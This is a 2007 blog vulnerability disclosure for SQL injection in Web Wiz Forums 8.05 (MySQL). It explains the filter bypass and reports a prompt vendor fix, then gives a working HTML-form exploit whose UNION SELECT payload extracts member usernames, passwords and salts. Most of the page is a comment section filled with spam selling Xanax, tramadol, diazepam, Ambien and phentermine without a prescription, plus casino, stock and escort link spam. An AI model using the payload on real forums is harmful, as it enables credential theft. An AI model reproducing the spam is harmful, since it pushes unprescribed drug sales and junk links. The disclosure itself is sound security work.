Tuesday, March 20, 2007

Web Wiz Forums 8.05 (MySQL version) SQL Injection

There is a vulnerability in MySQL version of Web Wiz Forums, free ASP bulletin board system software, enabling SQL injection. The vulnerability is in the code used to filter string parameters prior to including them in the SQL queries:

'Format SQL Query funtion
Private Function formatSQLInput(ByVal strInputEntry)
'Remove malisous charcters from sql
strInputEntry = Replace(strInputEntry, "\'", "\'", 1, -1, 1)
strInputEntry = Replace(strInputEntry, """", "", 1, -1, 1)
strInputEntry = Replace(strInputEntry, "'", "''", 1, -1, 1)
strInputEntry = Replace(strInputEntry, "[", "[", 1, -1, 1)
strInputEntry = Replace(strInputEntry, "]", "]", 1, -1, 1)
strInputEntry = Replace(strInputEntry, "<", "&lt;", 1, -1, 1)
strInputEntry = Replace(strInputEntry, ">", "&gt;", 1, -1, 1)
'Return
formatSQLInput = strInputEntry
End Function


Assume the user enters a string containing the following sequence of characters: \"' (a backslash, followed by a double quote followed by a single quote). The first line inside the function above would do nothing, the second line would remove the double quote, and after the third line the sequence would look like \'' (a backslash followed by two single quotes). In MySQL the first two characters would be interpreted as an escaped single quote and the third character would terminate the quotes thus allowing injection of arbitrary SQL code placed after it.

Only the MySQL version of the Web Wiz Forums is vulnerable to this as SQL Server and MS Access don't use backslash as an escape character.

Below I include a small exploit that demonstrates this vulnerability.

Mar 19th 2007: Vulnerability discovered
Mar 20th 2007: Vendor contacted
Mar 20th 2007: Vendor responded
Mar 20th 2007: Vendor released fixed version (8.05a)

<form method="post" action="http://localhost/forum/pop_up_member_search.asp?">
<input type="hidden" name="name" id="name" value="\&quot;&#039; union select concat(userusernamename,char(58),passpasswordword,char(58),sasaltlt) from tblautauthorhor /*" >
<input type="submit" value="Go">
</form>

785 comments:

1 – 200 of 785   Newer›   Newest»
Adrián said...

It seems vendor did well once. Fast contact and fast patch -even patch was simply to make-. Good job.

Anonymous said...

duiDeqlMHfoNtfY, [url=http://students.wrdsb.ca/cudnl9682/2012/02/19/not-a-summer-to-remember/]vogue best anti aging cream[/url] ,:-#, anti aging skin care manufacturers ,97252, http://socialenginezzz.com/Concepcion best anti aging body creams, 2506,
www.ccip.govt.nz
[URL=http://www.supercandy.net/cat/CGI/apus/apus.cgi ]best anti age cream dry skin [/URL]
juliet's anti ageing cream
http://www.papera.com/entry.php
[URL=http://www.pechenokill.com/2012/06/vassiviere-fin-mai-2012/ ]anti aging skin care during pregnancy [/URL]
best anti aging moisture cream
http://www.cestujme.cz/imgupload-upload-obrazkov-s-26574.html

Anonymous said...

xanax 0.5mg what does generic xanax look like pill - xanax overdose painless

Anonymous said...

buy tramadol cod next day delivery order tramadol online overnight - purchase tramadol online no prescription

Anonymous said...

buy xanax online without prescription xanax dosage- yellow bars - i need xanax for anxiety

Anonymous said...

diazepam cheap diazepam lorazepam alcohol withdrawal - diazepam benefits side effects

Anonymous said...

where to buy xanax online cheap xanax bars - xanax bars rap

Anonymous said...

buy xanax 1mg xanax pills colors - xanax withdrawal 2012

Anonymous said...

buy diazepam different forms drug diazepam comes - valium side effects memory loss

Anonymous said...

xanax price xanax street value - xanax effects dosage

Anonymous said...

diazepam half life diazepam online canada - diazepam 2 mg tabletki

Anonymous said...

buy xanax online overnight delivery xanax 1 mg yellow - xanax lethal dose

Anonymous said...

intravenous diazepam cheapest diazepam online - diazepam 5mg to buy

Anonymous said...

online diazepam diazepam in dogs side effects - diazepam recreational use dosage

Anonymous said...

discount phentermine lannett phentermine 0597 - phentermine online in canada

Anonymous said...

buy phentermine buy phentermine b12 - where can i buy phentermine uk

Anonymous said...

buy diazepam online diazepam online no prescription usa - buy diazepam online legally usa

Anonymous said...

alprazolam mg xanax street value 2mg - xanax withdrawal symptoms headache

Anonymous said...

can you buy xanax online buy xanax with echeck - buy xanax online prescription

Anonymous said...

buy diazepam online 2mg lorazepam equivalent diazepam - diazepam 5mg

Anonymous said...

purchase phentermine buy phentermine online no prescription uk - лекарство phentermine

Anonymous said...

phentermine online buy phentermine michigan - phentermine online order reviews

Anonymous said...

xanax without a perscription xanax pill finder - xanax withdrawal really bad

Anonymous said...

buy diazepam online diazepam erowid vault - buying diazepam online for cheap

Anonymous said...

ambien for sale ambien side effects tinnitus - ambien cr rxlist

Anonymous said...

ambien for sale no prescription ambien side effects headache - is ambien sleep real sleep

Anonymous said...

buy phentermine cheap phentermine - buy legitimate phentermine online

Anonymous said...

buy phentermine online buy phentermine online no prescription uk - phentermine jacksonville fl

Anonymous said...

generic ambien cost ambien 10mg - generic substitute ambien cr

Anonymous said...

where to buy ambien online ambien can you snort - zopiclone ambien zolpidem

Anonymous said...

xanax anxiety xanax 2 mg how long - pictures generic xanax tablets

Anonymous said...

buy ambien ambien extended release generic - what drug group is ambien in

Anonymous said...

buy xanax online no rx difference between xanax bars xanax - xanax overdose child

Anonymous said...

ambien for sale online does ambien cr 12.5 look like - can i buy ambien on line

Anonymous said...

buy xanax online no prescription cheap pictures of all generic xanax - xanax dosage sedation

Anonymous said...

how to buy xanax online reviews on buying xanax online - generic xanax white

Anonymous said...

online xanax xanax 2mg australia - xanax bars vs klonopin

Anonymous said...

where to buy xanax online no prescription does xanax show up on probation drug test - buy-xanaxonline.com

Anonymous said...

online diazepam diazepam 10 mg myl - order diazepam from europe

Anonymous said...

buy diazepam buy diazepam online australia - diazepam 2mg nebenwirkungen

Anonymous said...

ambien cost ambien withdrawal death - ambien yaz

Anonymous said...

buy alprazolam xanax withdrawal like - xanax dosage before flight

Anonymous said...

buy phentermine online phentermine buy online - buy phentermine online us pharmacy

Anonymous said...

alprazolam buy shoot up xanax pills - xanax lyrics

Anonymous said...

lethal dose of diazepam buy cheapest diazepam online - diazepam dosage rabbits

Anonymous said...

alprazolam xanax will one xanax show up drug test - xanax drug action

Anonymous said...

xanax no prescription online xanax overdose much - xanax side effects weight loss

Anonymous said...

order phentermine online buy phentermine online with no prescription - buy phentermine in canada

Anonymous said...

buy diazepam buy diazepam in australia - cheap diazepam usa

Anonymous said...

buy phentermine buy phentermine 37.5 tablets online - buy phentermine weight loss

Anonymous said...

diazepam dog buy diazepam no prescription needed - diazepam 5mg for muscle spasms

Anonymous said...

phentermine online buy phentermine online yahoo answers - phentermine online prescription consultation

Anonymous said...

cheap diazepam can you buy diazepam in thailand - diazepam 5 mg recreational use

Anonymous said...

order phentermine online doctor prescribe phentermine - can i buy phentermine online

Anonymous said...

cheap generic phentermine buy phentermine in canada online - phentermine tablets 37.5

Anonymous said...

phentermine pills phentermine 37.5 weight loss stories - buy phentermine online forum

Anonymous said...

ambien order ambien side effects dizziness - ambien cr blue pill

Anonymous said...

buy ambien buy ambien online india - ambien cr take

Anonymous said...

purchase ambien ambien side effects paranoia - ambien cr usa

Anonymous said...

order ambien without prescriptions ambien 3rd trimester - 2 ambien high

Anonymous said...

soma buy carisoprodol 350 mg tab mutual - buy qualitest soma online

Anonymous said...

buy cheap xanax yellow xanax bars 039 - xanax 6mg

Anonymous said...

soma drug carisoprodol capsules - carisoprodol dan 5513 side effects

Anonymous said...

xanax for sale cost generic xanax walmart - 2mg xanax 2 beers

Anonymous said...

ambien pill ambien sleep cooking - ambien taper

Anonymous said...

buy xanax bars online buy xanax online without prescriptions - buy xanax pfizer

Anonymous said...

ambien sleep medication is generic ambien available in u.s. - buy ambien fast shipping

Anonymous said...

xanax drug xanax drug doses - buy xanax bars

Anonymous said...

buy diazepam online no prescription diazepam 10mg thailand - diazepam withdrawal newborn

Anonymous said...

buy xanax online cheap 30 mg xanax overdose - buy xanax online spain

Anonymous said...

xanax order no prescription xanax overdose toxicity - xanax 2mg green

Anonymous said...

what does diazepam look like diazepam 5mg to buy - diazepam sleep dosage

Anonymous said...

diazepam buy can you buy diazepam egypt - buy diazepam in usa

Anonymous said...

buy xanax bars online 1.5 mg xanax high dose - makers generic xanax

Anonymous said...

buy xanax sizes of xanax pills - xanax for dogs with anxiety

Anonymous said...

buy phentermine online phentermine 37.5 buy online - buy phentermine online pharmacy

Anonymous said...

order xanax no prescription xanax withdrawal ocd - xanax dosage for flying

Anonymous said...

buy diazepam without prescription diazepam 10mg buy - buy diazepam online no prescription usa

Anonymous said...

buy phentermine phentermine jackson tn - phentermine 4 months

Anonymous said...

xanax anxiety xanax side effects list - how get xanax online

Anonymous said...

buy xanax order xanax online pharmacy - xanax drug anxiety

Anonymous said...

buy phentermine phentermine online prescription - buy phentermine with paypal

Anonymous said...

valium diazepam manufacturers diazepam withdrawal protocol - can you buy diazepam online usa

Anonymous said...

buy phentermine buy phentermine canada - buy phentermine online forum

Anonymous said...

online diazepam diazepam withdrawal plan - snorting diazepam erowid

Anonymous said...

buy xanax xanax side effects urination - xanax bars double stack

Anonymous said...

buy xanax online cheap no prescription xanax effects neurotransmitters - xanax for sale no prescription

Anonymous said...

phentermine online buy phentermine online from uk - phentermine experiences

Anonymous said...

buy phentermine phentermine purchase - buy phentermine online uk

Anonymous said...

ambien price ambien sleep latency - ambien side effects itching

Anonymous said...

buy generic ambien online ambien pill price - what is ambien high like

Anonymous said...

phentermine online pharmacy phentermine bad breath - phentermine 75

Anonymous said...

generic ambien online buy ambien online us pharmacy - cost of generic ambien cr

Anonymous said...

xanax anxiety generic drug for xanax - suboxone and xanax drug interactions

Anonymous said...

XuPxfoGjrCpdmU, [url=http://daclan.lankymart.com/forum/profile.php?id=1141]list of penny stocks 2012[/url] ,:-<, otc stock quote ,:-/, http://www.skin-essence.com/page23.php investing financial, :-],
www.ccip.govt.nz
[URL=http://www.cockmanfamily.com/guestbook4.htm ]which stocks to buy today [/URL]
penny stock fortunes newsletter
http://www.falerpan.it/index.php?option=com_phocaguestbook&view=phocaguestbook&id=1&Itemid=
[URL=http://www.psychicreadingnow.net/Guestbook_Reviews.php?Guestbook_CurrentPageNumber_131808=2 ]day trading penny stocks online [/URL]
small cap index fund
http://www.hajka.estranky.cz/clanky/navstevni-kniha.14.html

Anonymous said...

pXOTOCucYEH, [url=http://www.cagrn.org/groups/no-deposit-bonus-hyip-is-successful-predestined-by-us-to-charm-on-your/]free no deposit casino bonus codes u.s.a. welcome[/url] ,7133, code bonus pour casino 888 ,TreOJcjRwVO, http://businessmodelsbeyondprofit.com/groups/club-world-casino-bonus-codes-2012-very-nonclassical-games-amidst-online-games-one-would-stargaze-or/ slots inferno casino no deposit bonus, BeFrVVGPkjs,
www.ccip.govt.nz
[URL=http://www.lora.org/wordpress/?p=3#comment-839 ]havana casino no deposit bonus [/URL]
title 500 free online casino bonus for all new players
http://www.duckin.co.kr/board/qnaboard_view.php?thp=prboard&station=&thread=12661&serial=17882&whatfield=&keywords=&list_num=118&first=170&cg_id=
[URL=http://www.inter-aktiv.erfolgsrakete.de/?path=forumsdisplay ]captain jack casino no deposit bonuses [/URL]
online roulette bonus
http://www.yunsobi.com/blog/guestbook

Anonymous said...

ambien online no prescription generic ambien 93 - ambien sleeping pills overdose

Anonymous said...

best place to buy xanax online identify generic xanax pills - generic xanax uss

Anonymous said...

carisoprodol 350 mg somanabolic muscle maximizer ebay - buy soma in georgia

Anonymous said...

buy soma online buy soma online pharmacy - will soma show up on drug test

Anonymous said...

buy tramadol without a script tramadol hcl for dogs - tramadol codeine high

Anonymous said...

ambien medication ambien cr generic fda - buy ambien generic

Anonymous said...

xanax online xanax wikipedia pl - xanax 60 minutes

Anonymous said...

order alprazolam online mexican pharmacy xanax - overdose 4mg xanax

Anonymous said...

buy soma online legal to buy soma online - buy somatropin hgh online

Anonymous said...

soma drug soma compound more drug_side_effects - soma 10 panel drug screen

Anonymous said...

cheap generic xanax xanax bars 2 mg street price - 4 xanax and alcohol

Anonymous said...

buy zolpidem ambien dosage - zolpidem weaker than ambien

Anonymous said...

diazepam 10 mg diazepam 2mg online - how long does a diazepam high last

Anonymous said...

generic xanax buy cheap xanax from canada - where to buy generic xanax online

Anonymous said...

buy diazepam diazepam online europe - diazepam 5mg effects

Anonymous said...

buy soma online soma side effects long term - buy somatropin in the u.s

Anonymous said...

buy soma buy soma online with mastercard - buy soma uk

Anonymous said...

cheap tramadol online order tramadol cash on delivery - tramadol online missouri

Anonymous said...

buy xanax buy valium xanax online - drug used get off xanax

Anonymous said...

buy generic ambien ambien 10 mg generic - ambien cr kidney disease

Anonymous said...

buy diazepam online diazepam 2mg overdose - diazepam dosage im

Anonymous said...

how to buy xanax online buy alprazolam 3mg - xanax for mri anxiety

Anonymous said...

buy tramadol online buy tramadol money order - buy tramadol cheap online no prescription

Anonymous said...

buy diazepam online diazepam job interview - buy diazepam online

Anonymous said...

buy tramadol cheap online tramadol dosage and effects - legal order ultram online

Anonymous said...

buy diazepam online diazepam side effects grapefruit - mirtazapine diazepam side effects

Anonymous said...

buy tramadol buy tramadol us pharmacy - buy tramadol at walmart

Anonymous said...

diazepam online diazepam to get high - rectal diazepam side effects

Anonymous said...

diazepam cheap diazepam for dogs with seizures - diazepam for dogs 5 mg

Anonymous said...

purchase xanax xanax high duration - can you take 2 mg xanax at once

Anonymous said...

where can i buy xanax online legally buy xanax craigslist - buying xanax without a script

Anonymous said...

cheap tramadol online buy ultram with no prescription - buy tramadol 99

Anonymous said...

buy xanax online side effects prolonged use xanax - cheap xanax sale

Anonymous said...

xanax no rx xanax in alcohol - xanax bars empty stomach

Anonymous said...

purchase tramadol tramadol hcl acetaminophen - buy tramadol canada

Anonymous said...

cheap diazepam online order diazepam online - diazepam vs temazepam

Anonymous said...

buy tramadol cheap can you buy ultram canada - tramadol hcl drug interactions

Anonymous said...

buy diazepam online buy cheap diazepam from india - buy cheap diazepam online no prescription

Anonymous said...

order tramadol safe place buy ultram - buy tramadol 6914

Anonymous said...

buy ambien ambien insomnia medication - ambien side effects alcohol

Anonymous said...

buy xanax online cheap buy xanax online illegal - xanax side effects in women

Anonymous said...

buy tramadol online tramadol hcl medication - buy tramadol for dogs

Anonymous said...

soma for sale what is carisoprodol 350 mg tablet for - soma internet radio

Anonymous said...

buy alprazolam buy xanax online in australia - do they drug test xanax

Anonymous said...

diazepam injection valium diazepam dosage - diazepam dosis erowid

Anonymous said...

soma without prescription carisoprodol cannabis - side effects of taking carisoprodol

Anonymous said...

buy tramadol online without a prescription safest place buy tramadol online - usual dosage tramadol dogs

Anonymous said...

order ambien without prescriptions breaking ambien pill - much does ambien cost

Anonymous said...

buy tramadol cod next day delivery tramadol reactions - tramadol dosage dogs after surgery

Anonymous said...

diazepam online diazepam 5mg snort - diazepam 10mg usa

Anonymous said...

buy ambien ambien withdrawal night sweats - ambien 10 mg beer

Anonymous said...

where to buy tramadol online buy ultram with no prescription - tramadol 420chan

Anonymous said...

soma sale somanabolic muscle maximizer money back - buy soma online cod fedex

Anonymous said...

alprazolam xanax get you high - xanax bars 15 mg

Anonymous said...

what is diazepam used for buy diazepam 2mg usa - diazepam online paypal

Anonymous said...

buy xanax 2mg klonopin vs 2mg xanax - xanax side effects on pregnancy

Anonymous said...

buy soma online soma medication ingredients - buy somatropin canada

Anonymous said...

buy tramadol tramadol xl - tramadol hcl 50mg narcotic

Anonymous said...

generic zolpidem ambien during pregnancy 3rd trimester - ambien withdrawal heart

Anonymous said...

buy tramadol 100mg online buy ultram online no rx - tramadol online sale

Anonymous said...

buy diazepam valium side effects men - que es mejor diazepam o tranxilium

Anonymous said...

generic ambien ambien drug information - ambience mall gurgaon tuesday closed

Anonymous said...

buy tramadol cod next day delivery tramadol apap - high on tramadol hcl

Anonymous said...

buy xanax xanax dosage sizes - buy xanax online visa

Anonymous said...

soma online soma drug test benzo - carisoprodol much get high

Anonymous said...

alprazolam 0.5mg michael jackson xanax dosage - order xanax no prescription

Anonymous said...

diazepam generic baclofen diazepam withdrawal - diazepam valium history

Anonymous said...

carisoprodol 350 mg purchase soma online legal - buy cheap generic soma

Anonymous said...

order alprazolam no prescription effects of xanax pills - what are the effects of prolonged use of xanax

Anonymous said...

buy tramadol india tramadol purchase online uk - buy tramadol with visa

Anonymous said...

ambien order ambien usa - generic ambien sandoz

Anonymous said...

generic ambien online zolpidem vs ambien - buy ambien cr 12.5/ no prescription

Anonymous said...

where to buy tramadol buy tramadol legally online - tramadol kick in time

Anonymous said...

tramadol online cheap tramadol for sale - tramadol 50mg get you high

Anonymous said...

carisoprodol drug where to buy soma seeds - buy soma from canada

Anonymous said...

buy tramadol overnight delivery tramadol 50 mg veterinary use - tramadol ketorolaco

Anonymous said...

also regard it was a high-end extravagance products cited pride showing improbable in front of people to really speechles investigate [url=http://www.shanghaimassage90.com]shanghai escort[/url] exclusive

Anonymous said...

buy tramadol medication order tramadol us pharmacy - buy tramadol online yahoo

Anonymous said...

cheap generic xanax long term side effects xanax xr - xanax maximum dosage

Anonymous said...

buy tramadol with paypal tramadol hcl er 300 - 50mg tramadol high dose

Anonymous said...

legal buy tramadol online tramadol high yahoo answers - cheap tramadol without prescriptions

Anonymous said...

soma generic carisoprodol prescription - buy soma us pharmacy

Anonymous said...

xanax 0.5mg 10 panel drug test xanax - xanax classification

Anonymous said...

buy tramadol no prescription overnight tramadol online american pharmacy - tramadol er

Anonymous said...

buy tramadol in florida buy tramadol uk online - tramadol no prescription

Anonymous said...

buy xanax online without prescription xanax pills street price - xanax dosage humans

Anonymous said...

buy xanax bars best place buy xanax online - order xanax online no prescription

Anonymous said...

buy tramadol ultram online cheap - can buy tramadol online uk

Anonymous said...

buy tramadol online no prescription cod tramadol online fedex - tramadol 50 mg strength

Anonymous said...

generic tramadol online buy tramadol london - tramadol dosage dogs 50 mg

Anonymous said...

diazepam online diazepam 5mg tablets side effects - buy diazepam online co usa

Anonymous said...

alprazolam 0.5mg xanax generic or brand - xanax generic difference

Anonymous said...

buy xanax xanax 10 panel drug test - alprazolam 0 5mg medley

Anonymous said...

buy diazepam online no prescription where can i buy valium online yahoo answers - diazepam binding inhibitor

Anonymous said...

buy tramadol cod online tramadol hcl how much to get high - tramadol 50mg vs 100mg

Anonymous said...

buy tramadol without rx tramadol 50mg hcl high - buy ultram with mastercard

Anonymous said...

buy tramadol online is it legal to purchase tramadol online - tramadol dosage opiate withdrawal

Anonymous said...

cheap ambien no prescription ambien generic version - generic ambien zolpidem

Anonymous said...

order diazepam buy diazepam 10mg india - es lo mismo diazepam que lorazepam

Anonymous said...

buy xanax without prescriptions xanax and zoloft overdose - suboxone xanax high

Anonymous said...

buy ambien ambien sleep tips - ambience mall gurgaon pubs

Anonymous said...

best buy tramadol tramadol 50mg dosage - tramadol high dose

Anonymous said...

carisoprodol 350 mg buy soma a+ - purchase soma online legal

Anonymous said...

is it illegal to buy xanax online xanax bars 93 1003 - generic xanax onax

«Oldest ‹Older   1 – 200 of 785   Newer› Newest»